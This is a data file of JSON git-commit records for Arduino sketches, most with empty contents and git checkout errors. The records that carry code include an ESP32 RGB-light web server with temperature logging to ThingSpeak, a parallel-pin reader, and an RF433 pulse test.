to plant SpikerShield code for Leonardo added","message":"Plant to plant SpikerShield code for Leonardo added\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Plant\/Arduino Code\/PPILeonardo_V1-0\/PPILeonardo_V1-0.ino","new_file":"Plant\/Arduino Code\/PPILeonardo_V1-0\/PPILeonardo_V1-0.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Plant\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/PPILeonardo_V1-0\/PPILeonardo_V1-0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cf673c2dca7d8bc9c4102b9fdddc2ff2bf6ce27e","subject":"Arduino code to read from the parallel lines and print to Arduino serial port.","message":"Arduino code to read from the parallel lines and print to Arduino serial port.\n","repos":"CACTUS-Mission\/TRAPSat,CACTUS-Mission\/TRAPSat,CACTUS-Mission\/TRAPSat,CACTUS-Mission\/TRAPSat,CACTUS-Mission\/TRAPSat,CACTUS-Mission\/TRAPSat,CACTUS-Mission\/TRAPSat","old_file":"Arduino\/read_parallel\/read_parallel.ino","new_file":"Arduino\/read_parallel\/read_parallel.ino","new_contents":"\nint parallel_read_pins[] = {2, 3, 4, 5, 6, 7, 8, 9};\n\nvoid setup() {\n \n for(int i=0; i<8; i++)\n {\n pinMode(parallel_read_pins[i], INPUT);\n }\n\n Serial.begin(9600);\n while( !Serial ) ; \/\/ wait for serial terminal to be opened.\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n for(int i=0; i<8; i++)\n {\n Serial.print(digitalRead(parallel_read_pins[i])); \n }\n Serial.println(\"\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/read_parallel\/read_parallel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e3a5589403f37fe8a16d9eb226cfdc49c532fa1a","subject":"Added updated T16 Drive Sketch","message":"Added updated T16 Drive Sketch\n\nAdded max throttle control and removed differential calculations to library","repos":"wzschoche\/Titan-Rover,wzschoche\/Titan-Rover,wzschoche\/Titan-Rover","old_file":"Mobility System\/T16_Drive\/T16_Drive.ino","new_file":"Mobility System\/T16_Drive\/T16_Drive.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Mobility' did not match any file(s) known to git\nerror: pathspec 'System\/T16_Drive\/T16_Drive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"164b86b3815d42f1cb608f359123e32413fcc1d9","subject":"for g3 sensor","message":"for g3 sensor\n","repos":"Lafudoci\/ProbeCube","old_file":"Arduino with cc3000wifi based\/G3_module\/PPG3_099b0229.ino","new_file":"Arduino with cc3000wifi based\/G3_module\/PPG3_099b0229.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'with' did not match any file(s) known to git\nerror: pathspec 'cc3000wifi' did not match any file(s) known to git\nerror: pathspec 'based\/G3_module\/PPG3_099b0229.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e51d7d9033052036e0be65c0a19cff4db8f7c226","subject":"V2.0","message":"V2.0\n\nCleaner layout of code, new flashing function\r\n( http:\/\/008.ddns.net:8080\/leds?COULEUR=%23FFFFFF&DELAIS=500&FOIS=10 or a form post)","repos":"sansillusion\/espLightServer","old_file":"esp32LightServerRGB.ino.ino","new_file":"esp32LightServerRGB.ino.ino","new_contents":"#include <WiFi.h>\n#include <DNSServer.h>\n#include <WebServer.h>\n#include <WiFiManager.h>\n#include <WiFiMulti.h>\n#include <HTTPClient.h>\n\n\/\/ sensors stuff\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <DHT.h>\n#include <ESPmDNS.h>\n#define ONE_WIRE_BUS 15\n#define DHTPIN 2\n#define DHTTYPE DHT11\nDHT dht(DHTPIN, DHTTYPE);\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature sensors(&oneWire);\n\/\/ end of sensors\n\n\/\/ Settings you should check\/change\nString resetpass = \"YOURresetPASSWORD\"; \/\/ password to reset wifimanager when allready connected\nconst String thingkey = \"YourThingSpeakApiWriteKey\"; \/\/your thingspeak API key\nconst String thingchanel = \"000000\"; \/\/your thingspeak Chanel #\n\/\/ other settings you might like to change\nconst long interval = 60000; \/\/ interval in ms for sending temperature data to thingspeak\nconst String liens = \"<a href=\\\"\/\\\">Acceuil<\/a> - <a href=\\\"\/temp\\\">Température<\/a> - <a href=\\\"\/version\\\">Version<\/a> - <a href=\\\"\/reset\\\">Reset<\/a> - <a href=\\\"https:\/\/thingspeak.com\/channels\/289148\\\">Temp stats<\/a>\\n\"; \/\/ html\/links shown at bottom of pages\nString dernadd = \"Fraichement booté\"; \/\/variable for ip logging (you can put your fresh boot mesage here in text\/html)\n\/\/ led pins\nuint8_t pinRouge = 12;\nuint8_t pinVerte = 14; \/\/ internally pulled up\nuint8_t pinBleu = 13;\n\/\/ end of settings you should check\/change\n\n\/\/ internally used vars\nWebServer server(80);\nString derncoul = \"#000000\";\nlong r = 0;\nlong g = 0;\nlong b = 0;\nint rouge = 0;\nint vert = 0;\nint bleu = 0;\nunsigned long previousMillis = 0;\nunsigned long previousMillisr = 0;\nunsigned long previousMillisg = 0;\nunsigned long previousMillisb = 0;\nunsigned long previousMillisf = 0;\nint attendR = 70;\nint attendG = 70;\nint attendB = 70;\nint attendF = 700;\nunsigned long flashfois = 0;\nunsigned long flashrendu = 0;\nint roulepastusuite = 0;\nint flashoufade = 0;\n\/\/ end of internally used vars\n\n\/\/ stylesheet for web pages\nconst String css = \"<style>\\n\"\n \".color {\\n\"\n \"width:50%;\\n\"\n \"height:80px;\\n\"\n \"padding:5px;\\n\"\n \"margin:10px;\\n}\\n\"\n \".button1 {\\n\"\n \"background-color: #4CAF50;\\n\"\n \"border: none;\\n\"\n \"color: white;\\n\"\n \"padding: 15px 32px;\\n\"\n \"text-align: center;\\n\"\n \"text-decoration: none;\\n\"\n \"display: inline-block;\\n\"\n \"font-size: 24px;\\n\"\n \"margin: 4px 2px;\\n\"\n \"cursor: pointer; -webkit-transition-duration: 0.4s;\\n\"\n \"transition-duration: 0.4s; width: 80%;\\n}\\n\"\n \".button1:hover {\\n\"\n \"box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\\n}\\n\"\n \"button {\\n\"\n \"background-color: #AC0050;\\n\"\n \"border: none;\\n\"\n \"color: white;\\n\"\n \"padding: 15px 32px;\\n\"\n \"text-align: center;\\n\"\n \"text-decoration: none;\\n\"\n \"display: inline-block;\\n\"\n \"font-size: 24px;\\n\"\n \"margin: 4px 2px;\\n\"\n \"cursor: pointer; -webkit-transition-duration: 0.4s;\\n\"\n \"transition-duration: 0.4s; width: 80%;\\n}\\n\"\n \"button:hover {\\n\"\n \"box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\\n}\\n\"\n \"<\/style>\\n\";\n\/\/ end of stylesheet for web pages\n\n\/\/ functions used internally\n\n\/\/ used to flash leds\nvoid flashfunk() {\n if (flashrendu <= flashfois) {\n flashrendu++;\n if (rouge == r) {\n ledcWrite(1, 0);\n rouge = 0;\n } else {\n ledcWrite(1, r);\n rouge = r;\n }\n if (vert == g) {\n ledcWrite(2, 0);\n vert = 0;\n } else {\n ledcWrite(2, g);\n vert = g;\n }\n if (bleu == b) {\n ledcWrite(3, 0);\n bleu = 0;\n } else {\n ledcWrite(3, b);\n bleu = b;\n }\n } else {\n r = rouge;\n b = bleu;\n g = vert;\n flashoufade = 0;\n flashrendu = 0;\n Serial.println(\"Flash fini\");\n }\n}\n\n\/\/ used to fade red\nvoid fadeR() {\n if (rouge < r) {\n rouge++;\n ledcWrite(1, rouge);\n } else if (rouge > r) {\n rouge--;\n ledcWrite(1, rouge);\n }\n}\n\n\/\/ used to fade green\nvoid fadeG() {\n if (vert < g) {\n vert++;\n ledcWrite(2, vert);\n } else if (vert > g) {\n vert--;\n ledcWrite(2, vert);\n }\n}\n\n\/\/ used to fade blue\nvoid fadeB() {\n if (bleu < b) {\n bleu++;\n ledcWrite(3, bleu);\n } else if (bleu > b) {\n bleu--;\n ledcWrite(3, bleu);\n }\n}\n\n\/\/ web page to handle flashing of leds (color\/delay\/number of flashes)\nvoid handleFlash() {\n String addy = server.client().remoteIP().toString();\n Serial.println(\"\");\n Serial.println(addy);\n Serial.println(\"Flash\");\n String testteu = server.arg(\"COULEUR\");\n String attend = server.arg(\"DELAIS\");\n attendF = attend.toInt();\n String flashnombre = server.arg(\"FOIS\");\n flashfois = flashnombre.toInt();\n flashfois = flashfois * 2;\n Serial.println(testteu);\n Serial.print(\"Delais - \");\n Serial.println(attendF);\n Serial.print(\"Fois - \");\n Serial.println(flashfois \/ 2);\n if (testteu != 0) {\n if ( (flashfois % 2) == 0) {\n derncoul = testteu;\n } else {\n derncoul = \"#000000\";\n }\n long number = strtol( &testteu[1], NULL, 16);\n r = number >> 16;\n g = number >> 8 & 0xFF;\n b = number & 0xFF;\n Serial.print(\"Rouge = \");\n Serial.println(r);\n Serial.print(\"Vert = \");\n Serial.println(g);\n Serial.print(\"Bleu = \");\n Serial.println(b);\n dernadd = addy;\n flashoufade = 1;\n ledcWrite(1, 0);\n ledcWrite(2, 0);\n ledcWrite(3, 0);\n rouge = 0;\n bleu = 0;\n vert = 0;\n }\n String contenu = \"<!DOCTYPE html>\\n<html lang=\\\"en\\\" dir=\\\"ltr\\\" class=\\\"client-nojs\\\">\\n<head>\\n\";\n contenu += \"<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=\/\\\" \/>\\n\";\n contenu += \"<meta charset=\\\"UTF-8\\\" \/>\\n<title>Que la lumiere soit<\/title>\\n\"\n \"<meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\\n\";\n contenu += css;\n contenu += \"<\/head>\\n<body>\\n\"\n \"Merci<\/body><\/html>\\n\";\n server.send(200, \"text\/html\", contenu);\n}\n\n\/\/ web page to handle leds fading\nvoid handleLeds() {\n String addy = server.client().remoteIP().toString();\n Serial.println(\"\");\n Serial.println(addy);\n String testteu = server.arg(\"COULEUR\");\n Serial.println(testteu);\n if (testteu != 0) {\n derncoul = testteu;\n long number = strtol( &testteu[1], NULL, 16);\n r = number >> 16;\n g = number >> 8 & 0xFF;\n b = number & 0xFF;\n if (r != rouge) {\n Serial.print(\"Rouge = \");\n Serial.println(r);\n dernadd = addy;\n flashoufade = 0;\n }\n if (g != vert) {\n Serial.print(\"Vert = \");\n Serial.println(g);\n dernadd = addy;\n flashoufade = 0;\n }\n if (b != bleu) {\n Serial.print(\"Bleu = \");\n Serial.println(b);\n dernadd = addy;\n flashoufade = 0;\n }\n }\n String contenu = \"<!DOCTYPE html>\\n<html lang=\\\"en\\\" dir=\\\"ltr\\\" class=\\\"client-nojs\\\">\\n<head>\\n\";\n contenu += \"<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=\/\\\" \/>\\n\";\n contenu += \"<meta charset=\\\"UTF-8\\\" \/>\\n<title>Que la lumiere soit<\/title>\\n\"\n \"<meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\\n\";\n contenu += css;\n contenu += \"<\/head>\\n<body>\\n\"\n \"Merci<\/body><\/html>\\n\";\n server.send(200, \"text\/html\", contenu);\n}\n\n\/\/ index page\nvoid handleRoot() {\n String addy = server.client().remoteIP().toString();\n Serial.println(\"\");\n Serial.println(addy);\n Serial.println(\"Page acceuil\");\n String contenu = \"<!DOCTYPE html>\\n<html lang=\\\"en\\\" dir=\\\"ltr\\\" class=\\\"client-nojs\\\">\\n<head>\\n\";\n contenu += \"<meta charset=\\\"UTF-8\\\" \/>\\n<title>Que la lumiere soit<\/title>\\n\"\n \"<meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\\n\";\n contenu += css;\n contenu += \"<script src=\\\"https:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/2.1.1\/jquery.min.js\\\"><\/script>\\n\";\n contenu += \"<\/head>\\n<body>\\n\"\n \"<div style=\\\"text-align:center;width:100%;\\\">\\n\"\n \"<form id=\\\"laforme\\\" action=\\\"\/leds\\\" method=\\\"post\\\">\\n\"\n \"<h1>Change la couleur de mon bureau:<\/h1>\"\n \"<input id=\\\"colorpad\\\" type=\\\"color\\\" name=\\\"COULEUR\\\" class=\\\"color\\\" value=\\\"\" + derncoul + \"\\\"><br>\\n\"\n \"<input type=\\\"submit\\\" class=\\\"button1\\\" value=\\\"Changer\\\">\\n\"\n \"<\/form>\\n\"\n \"<button onclick=\\\"disco()\\\">Hazard<\/button><br>\\n\"\n \"<button onclick=\\\"startDisco()\\\">Auto Disco<\/button><br>\\n\"\n \"Dernier IP à avoir changé la couleur : \";\n contenu += dernadd;\n contenu += \"<br>\\n\";\n contenu += liens;\n contenu += \"<script>\\n\"\n \"function getRandomColor() {\\n\"\n \"var letters = '0000F0F1205F9B0F';\\n\"\n \"var color = '#';\\n\"\n \"for (var i = 0; i < 6; i++ ) {\\n\"\n \" color += letters[Math.floor(Math.random() * 16)];\\n\"\n \"}\\n\"\n \"return color;\\n\"\n \"}\\n\"\n \"function setRandomColor(){\\n\"\n \"$(\\\"#colorpad\\\").val(getRandomColor());\\n\"\n \"}\\n\"\n \"$(\\\"#laforme\\\").submit(function( event ) {\\n\"\n \" event.preventDefault();\\n\"\n \"$.ajax({\\n\"\n \"url : $(this).attr('action') || window.location.pathname,\\n\"\n \"type: \\\"POST\\\",\\n\"\n \"data: $(this).serialize(),\\n\"\n \"});\\n\"\n \"});\\n\"\n \"function disco(){\\n\"\n \"setRandomColor();\\n\"\n \"$(\\\"#laforme\\\").submit();\\n\"\n \"}\\n\"\n \"var myVar = \\\" \\\";\\n\"\n \"function startDisco(){\\n\"\n \" disco();\"\n \" myVar = setInterval(function(){ disco() }, 13500);\\n\"\n \"}\\n\"\n \"<\/script>\\n\"\n \"<\/div><\/body><\/html>\\n\";\n server.send(200, \"text\/html\", contenu);\n}\n\n\/\/reset page\nvoid handleReset() {\n int ouireset = 0;\n String addy = server.client().remoteIP().toString();\n Serial.println(\"\");\n Serial.println(addy);\n Serial.println(\"!!! RESET PAGE !!!\");\n String testteu = server.arg(\"RESET\");\n String passme = server.arg(\"PASSME\");\n if (testteu == \"OUI\") {\n if (passme == resetpass) {\n ouireset = 1;\n } else {\n ouireset = 2;\n }\n }\n String contenu = \"<!DOCTYPE html>\\n<html lang=\\\"en\\\" dir=\\\"ltr\\\" class=\\\"client-nojs\\\">\\n<head>\\n\";\n contenu += \"<meta charset=\\\"UTF-8\\\" \/>\\n<title>Que la lumiere se RESET<\/title>\\n\"\n \"<meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\\n\";\n contenu += css;\n contenu += \"<\/head>\\n<body>\\n\"\n \"<div style=\\\"text-align:center;width:100%;\\\">\\n\";\n if (!ouireset) {\n contenu += \"<form action=\\\"\/reset\\\" method=\\\"post\\\">\\n\"\n \"<h1>Tu veux resetter le wifi network pour reconfigurer ?<\/h1>\"\n \"<input type=\\\"hidden\\\" name=\\\"RESET\\\" value=\\\"OUI\\\"><br>\\n\"\n \"<input type=\\\"password\\\" name=\\\"PASSME\\\" value=\\\"password\\\"><br>\\n\"\n \"<input type=\\\"submit\\\" class=\\\"button1\\\" value=\\\"Reset Wifi Network\\\">\\n\"\n \"<\/form>\\n\";\n } else if (ouireset != 1) {\n contenu += \"<form action=\\\"\/reset\\\" method=\\\"post\\\">\\n\"\n \"<h1>Tu veux resetter le wifi network pour reconfigurer ?<\/h1>\"\n \"<input type=\\\"hidden\\\" name=\\\"RESET\\\" value=\\\"OUI\\\"><br>\\n\"\n \"<input type=\\\"password\\\" name=\\\"PASSME\\\" value=\\\"password\\\"><br>\\n\"\n \"<h2>!!! MAUVAIS PASSWORD !!!<\/h2><br>\\n\"\n \"<input type=\\\"submit\\\" class=\\\"button1\\\" value=\\\"Reset Wifi Network\\\">\\n\"\n \"<\/form>\\n\";\n Serial.print(\"BAD PASSWORD : \");\n Serial.println(passme);\n } else if (ouireset == 1) {\n contenu += \"<h1>Reset Dans 10 Secondes<\/h1>\\n\";\n }\n contenu += \"<br>Dernier IP à avoir changé la couleur :\";\n contenu += dernadd;\n contenu += \"\\n<br>\";\n contenu += liens;\n contenu += \"\\n<br><\/div><\/body><\/html>\\n\";\n server.send(200, \"text\/html\", contenu);\n if (ouireset == 1) {\n Serial.println(\"Reset dans 10 secondes\");\n delay(10000);\n WiFiManager wifiManager;\n wifiManager.resetSettings();\n ESP.restart();\n }\n}\n\n\/\/ 404 not found page\nvoid handleNotFound() {\n String addy = server.client().remoteIP().toString();\n Serial.println(\"\");\n Serial.println(addy);\n String htmlmessage = \"<!DOCTYPE html>\\n<html lang=\\\"en\\\" dir=\\\"ltr\\\" class=\\\"client-nojs\\\">\\n<head>\\n\";\n htmlmessage += \"<meta charset=\\\"UTF-8\\\" \/>\\n<title>404 Not found<\/title>\\n\"\n \"<meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\\n\";\n htmlmessage += css;\n htmlmessage += \"<\/head>\\n<body>\\n\"\n \"<div style=\\\"text-align:center;width:100%;\\\">\\n\";\n htmlmessage += \"<h1>404 File Not Found<\/h1><br>\\n\";\n htmlmessage += \"URI: \";\n htmlmessage += server.uri();\n htmlmessage += \"<br>\\nMethod: \";\n htmlmessage += (server.method() == HTTP_GET) ? \"GET\" : \"POST\";\n htmlmessage += \"<br>\\nArguments: \";\n htmlmessage += server.args();\n htmlmessage += \"<br>\\n\";\n for (uint8_t i = 0; i < server.args(); i++) {\n htmlmessage += \" \" + server.argName(i) + \": \" + server.arg(i) + \"<br>\\n\";\n }\n htmlmessage += \"<br>\\n\";\n htmlmessage += liens;\n htmlmessage += \"<br>\\n<\/div><\/body><\/html>\\n\";\n server.send(404, \"text\/html\", htmlmessage);\n String message = \"404 File Not Found\\n\";\n message += \"URI: \";\n message += server.uri();\n message += \"\\nMethod: \";\n message += (server.method() == HTTP_GET) ? \"GET\" : \"POST\";\n message += \"\\nArguments: \";\n message += server.args();\n message += \"\\n\";\n for (uint8_t i = 0; i < server.args(); i++) {\n message += \" \" + server.argName(i) + \": \" + server.arg(i) + \"\\n\";\n }\n Serial.print(message);\n}\n\n\/\/ function executed in main loop every minute to update sensors data to thingspeak.com\nvoid latemp() {\n sensors.requestTemperatures();\n float thetemp = sensors.getTempCByIndex(0);\n char buffer[10];\n String tempC = dtostrf(thetemp, 5, 2, buffer);\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n if (tempC != \"-127.00\") {\n if (tempC != \"85.00\") {\n Serial.print(\"Envoi de temperature et humidite: \");\n Serial.print(tempC);\n Serial.print(\" - \");\n HTTPClient http;\n String webadd = \"http:\/\/api.thingspeak.com\/update?key=\";\n webadd += thingkey;\n webadd += \"&field1=\";\n webadd += tempC;\n if (h == h) { \/\/ to prevent NaN\n webadd += \"&field2=\";\n webadd += h;\n Serial.print(h);\n webadd += \"&field3=\";\n webadd += t;\n }\n Serial.println(\"\");\n http.begin(webadd);\n int httpCode = http.GET();\/\/Send the request\n http.end(); \/\/Close connection\n }\n }\n}\n\n\/\/ web page for showing sensors data\nvoid handleTemp() {\n sensors.requestTemperatures();\n float latemp = sensors.getTempCByIndex(0);\n float h = dht.readHumidity();\n while (latemp == -127.00) {\n sensors.requestTemperatures();\n latemp = sensors.getTempCByIndex(0);\n }\n String addy = server.client().remoteIP().toString();\n Serial.println(\"\");\n Serial.println(addy);\n Serial.print(\"Temperature : \");\n Serial.println(latemp);\n String contenu = \"<!DOCTYPE html>\\n<html lang=\\\"en\\\" dir=\\\"ltr\\\" class=\\\"client-nojs\\\">\\n<head>\\n\";\n contenu += \"<meta charset=\\\"UTF-8\\\" \/>\\n<title>Quel chaleur<\/title>\\n\"\n \"<meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\\n\";\n contenu += css;\n contenu += \"<\/head>\\n<body>\\n\"\n \"<div style=\\\"text-align:center;width:100%;\\\">\\n\";\n contenu += \"<form action=\\\"\/\\\" method=\\\"get\\\">\\n\"\n \"<h1>Voici la temperature<\/h1>\"\n \"<h2>\";\n contenu += latemp;\n contenu += \"°C Humidité : \";\n contenu += h;\n contenu += \"<\/h2><br>\\n<iframe width=\\\"450\\\" height=\\\"260\\\" style=\\\"border: 1px solid #cccccc;\\\" src=\\\"https:\/\/thingspeak.com\/channels\/\";\n contenu += thingchanel;\n contenu += \"\/charts\/1?bgcolor=%23ffffff&color=%23d62020&dynamic=true&results=60&type=line&update=30\\\"><\/iframe>\"\n \"<iframe width=\\\"450\\\" height=\\\"260\\\" style=\\\"border: 1px solid #cccccc;\\\" src=\\\"https:\/\/thingspeak.com\/channels\/\";\n contenu += thingchanel;\n contenu += \"\/charts\/2?bgcolor=%23ffffff&color=%23d62020&dynamic=true&results=60&type=line&update=30\\\"><\/iframe>\"\n \"<iframe width=\\\"450\\\" height=\\\"260\\\" style=\\\"border: 1px solid #cccccc;\\\" src=\\\"https:\/\/thingspeak.com\/channels\/\";\n contenu += thingchanel;\n contenu += \"\/charts\/3?bgcolor=%23ffffff&color=%23d62020&dynamic=true&results=60&type=line&update=30\\\"><\/iframe>\"\n \"<input type=\\\"submit\\\" class=\\\"button1\\\" value=\\\"Acceuil\\\">\\n\"\n \"<\/form>\\n\"\n \"<br>Dernier IP à avoir changé la couleur :\";\n contenu += dernadd;\n contenu += \"\\n<br>\";\n contenu += liens;\n contenu += \"\\n<br><\/div><\/body><\/html>\\n\";\n server.send(200, \"text\/html\", contenu);\n}\n\nvoid setup() {\n Serial.begin(115200);\n dht.begin();\n ledcAttachPin(pinRouge, 1); \/\/ assign RGB led pins to channels\n ledcAttachPin(pinVerte, 2);\n ledcAttachPin(pinBleu, 3);\n pinMode(pinRouge, OUTPUT);\n pinMode(pinVerte, OUTPUT);\n pinMode(pinBleu, OUTPUT);\n digitalWrite(pinRouge, LOW);\n digitalWrite(pinBleu, LOW);\n digitalWrite(pinVerte, LOW);\n ledcSetup(1, 12000, 8); \/\/ 12 kHz PWM, 8-bit resolution\n ledcSetup(2, 12000, 8);\n ledcSetup(3, 12000, 8);\n WiFiManager wifiManager;\n wifiManager.autoConnect();\n MDNS.begin(\"lumiere\");\n server.on(\"\/\", handleRoot);\n server.on(\"\/leds\", handleLeds);\n server.on(\"\/flash\", handleFlash);\n server.on(\"\/reset\", handleReset);\n server.on(\"\/temp\", handleTemp);\n server.on(\"\/version\", []() {\n String addy = server.client().remoteIP().toString();\n Serial.println(\"\");\n Serial.println(addy);\n Serial.println(\"Version request\");\n server.send(200, \"text\/html\", \"V2.0, Steve Olmstead sansillusion@gmail.com\\n\\n<br><br>\"\n \"Added fader function\\nRemoved connection watchdog (better have good signal)\\n<br>\"\n \"Removed mDns (did not work anyway)\\n\\n<br><br>\"\n \"Added smoother fading\\n\\n<br><br>\"\n \"Added AutoConect WifiManager !\\n\\n<br><br>\"\n \"Added basic last IP logging\\n<br>\"\n \"Added \/reset page to reset wifiManager connection settings\\n\\n<br><br>\"\n \"Added \/temp (temperature sensor read of ky-001)\\n\\n<br><br>\"\n \"Added thingspeak support to send temperature each minute<br>\\n\\n<br>\"\n \"Major rewrite for RGB led trip usin mosfet<br>\\n\"\n \"Removed serial to free resources for software pwm (still flikers but less than before)<br>\\n\\n<br>\"\n \"Seperated LEDs handling page from index\\n<br>\"\n \"Added jQuery to load settings without reloading page\\n<br>\"\n \"Added random color selection button\\n\\n<br><br>\"\n \"Added disco mode script and buttons\\n\\n<br><br>\"\n \"Removed mDNS (does not work with esp32)\\n<br>\"\n \" (Re-aded mDNS in 2.0 for esp32 but does not seem to work yet)\\n<br>\"\n \"Rewrite of code (removed Ticker and changed a few libraries) for esp32 !!!\\n\\n<br><br>\"\n \"Changed fader functions for smoother fade\\n<br>\"\n \"Cleaned code\\n\\n<br><br>\"\n \"Added Flashing function and page for smart widget usage\\n<br>\"\n \"Added var to show your thingspeak channel in \/temp iframes\\n\\n<br><br>\" + liens);\n });\n server.onNotFound(handleNotFound);\n server.begin();\n Serial.println(\"HTTP server started\");\n delay(100);\n MDNS.addService(\"http\", \"tcp\", 80);\n sensors.begin();\n}\n\nvoid loop() {\n server.handleClient();\n unsigned long currentMillis = millis();\n if (currentMillis - previousMillis >= interval) {\n previousMillis = currentMillis;\n latemp();\n }\n if (flashoufade == 1) {\n currentMillis = millis();\n if (currentMillis - previousMillisf >= attendF) {\n previousMillisf = currentMillis;\n flashfunk();\n }\n } else {\n if (r != rouge) {\n currentMillis = millis();\n if (currentMillis - previousMillisr >= attendR) {\n fadeR();\n previousMillisr = currentMillis;\n if (rouge > 0)\n attendR = 70;\n if (rouge > 40)\n attendR = 60;\n if (rouge > 80)\n attendR = 50;\n if (rouge > 100)\n attendR = 40;\n if (rouge > 120)\n attendR = 30;\n if (rouge > 140)\n attendR = 20;\n if (rouge > 180)\n attendR = 10;\n }\n }\n if (g != vert) {\n currentMillis = millis();\n if (currentMillis - previousMillisg >= attendG) {\n fadeG();\n previousMillisg = currentMillis;\n if (vert > 0)\n attendG = 70;\n if (vert > 40)\n attendG = 60;\n if (vert > 80)\n attendG = 50;\n if (vert > 100)\n attendG = 40;\n if (vert > 120)\n attendG = 30;\n if (vert > 140)\n attendG = 20;\n if (vert > 180)\n attendG = 10;\n }\n }\n if (b != bleu) {\n currentMillis = millis();\n if (currentMillis - previousMillisb >= attendB) {\n fadeB();\n previousMillisb = currentMillis;\n if (bleu > 0)\n attendB = 70;\n if (bleu > 40)\n attendB = 60;\n if (bleu > 80)\n attendB = 50;\n if (bleu > 100)\n attendB = 40;\n if (bleu > 120)\n attendB = 30;\n if (bleu > 140)\n attendB = 20;\n if (bleu > 180)\n attendB = 10;\n }\n }\n }\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp32LightServerRGB.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1dee1ab8936c4d6589f82a264e3ca2cc95bc7add","subject":"avoid restarting when json attributes are null","message":"avoid restarting when json attributes are null\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"97deb42fc76914a214db39ef53703c9ff97356b6","subject":"Firmware for TENS board for Leonardo","message":"Firmware for TENS board for Leonardo\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/TENS\/TENSWithSpikeRecorder.ino","new_file":"Muscle\/Arduino Code\/TENS\/TENSWithSpikeRecorder.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/TENS\/TENSWithSpikeRecorder.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0d38b72a41f043b7d40bbffcda6d096073022a66","subject":"Study RF433 AGC behavior; RSSI implementation.","message":"Study RF433 AGC behavior; RSSI implementation.\n","repos":"mikaelpatel\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,dansut\/Cosa","old_file":"examples\/Sandbox\/CosaRF433\/CosaRF433.ino","new_file":"examples\/Sandbox\/CosaRF433\/CosaRF433.ino","new_contents":"\/**\n * @file CosaRF433.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2015, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n * Study RF433 AGC behavior.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/RTC.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/OutputPin.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n\nOutputPin rf(Board::D6);\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaRF433: started\"));\n Watchdog::begin();\n RTC::begin();\n}\n\nvoid loop()\n{\n const uint16_t P = 1000;\n const uint16_t D[] = { 1000, 500, 200, 100, 50 };\n rf.set();\n delay(10);\n rf.clear();\n for (uint8_t j = 0; j < membersof(D); j++) {\n uint16_t T = D[j];\n for (uint8_t i = 0; i < 8; i++) {\n DELAY(T);\n rf.set();\n DELAY(T);\n rf.clear();\n }\n }\n sleep(2);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Sandbox\/CosaRF433\/CosaRF433.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} 